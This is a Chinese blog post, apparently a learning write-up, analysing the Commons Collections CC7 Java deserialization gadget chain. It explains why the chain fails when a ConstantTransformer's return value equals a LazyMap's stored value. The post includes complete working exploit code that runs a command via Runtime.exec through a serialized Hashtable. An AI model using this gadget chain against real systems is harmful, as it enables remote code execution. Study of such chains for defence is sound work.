CC7关于ConstantTransformer返回值不能和put一样的分析
前言
实验室的gaorenyusi也是学到cc7的时候问了我一个很好的问题,我当时学的时候没有在意,然后就去调试分析解决了一下
分析
首先是paylaod
package CC7;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
public class CC7test {
public static void main(String[] args)throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer cha = new ChainedTransformer(transformers);
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
Map<Object, Object> Lazy1 = LazyMap.decorate(map1,cha);
Lazy1.put("yy",3);
Map<Object, Object> Lazy2 = LazyMap.decorate(map2,new ConstantTransformer(3));
Lazy2.put("zZ",3);
Hashtable hashtable = new Hashtable();
hashtable.put(Lazy1,"ljl");
hashtable.put(Lazy2,"oywl");
Lazy2.remove("yy");
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(Lazy2, cha);
serilize(hashtable);
deserilize("111.bin");
}
public static void serilize(Object obj)throws IOException {
ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));
out.writeObject(obj);
}
public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
Object obj=in.readObject();
return obj;
}
}
就是利用我们的ConstantTransformer(3)来返回一个常数,导致不会恶意调用
但是我们发现一个问题,就是当我们的ConstantTransformer(3)返回值和我们的Lazy2.put(“zZ”,3);的value一样的时候是不会弹出计算器的,这是为什么呢?
我们调试分析一下
我们倒着来看,到底是哪里出现了问题
来到我们的readObject方法,按道理来讲是需要调用两次reconstitutionPut(table, key, value);才能触发我们的恶意方法
因为我们要触发equals,肯定是两个在比嘛,但是我们这里只触发了一次
原因是我们的元素个数只要一个
这个是和我们的输入流有关系的
int elements = s.readInt();
我详细的跟进去看了一下
过于复杂了,是根据我们的buf也就是输入流
这里我直接把值给拿出来了,这个buf就是我们的hashtable,只有一个地方不一样,就是我们的1和2
也对应着我们的elements
[0, 0, 0, 11, 0, 0, 0, 1, 100, 114, 72, 97, 115, 104, 116, 97, 98, 108, 101, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 其他 924 个]
[0, 0, 0, 11, 0, 0, 0, 2, 100, 114, 72, 97, 115, 104, 116, 97, 98, 108, 101, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 其他 924 个]
那我们就回到序列化过程,找找和ConstantTransformer相关的地方,无疑是我们的第二个put调用equals的时候触发了它的transfrom方法返回了3
重点来到
if (!value.equals(m.get(key)))
return false;
}
触发我们的transform返回了3
而我们put的value也是3,倒着这个if不成立最后返回了ture
如果返回为ture的话这里就会认为是一个old的对象,判断和我们的前面是一样的,是不会去调用addEntry给table增加键值对的,问题的根源就在这个地方了,倒着我们反序列化的时候元素只有一个
里就会认为是一个old的对象,判断和我们的前面是一样的,是不会去调用addEntry给table增加键值对的,问题的根源就在这个地方了,倒着我们反序列化的时候元素只有一个
[外链图片转存中…(img-bO6s0jZq-1719648119690)]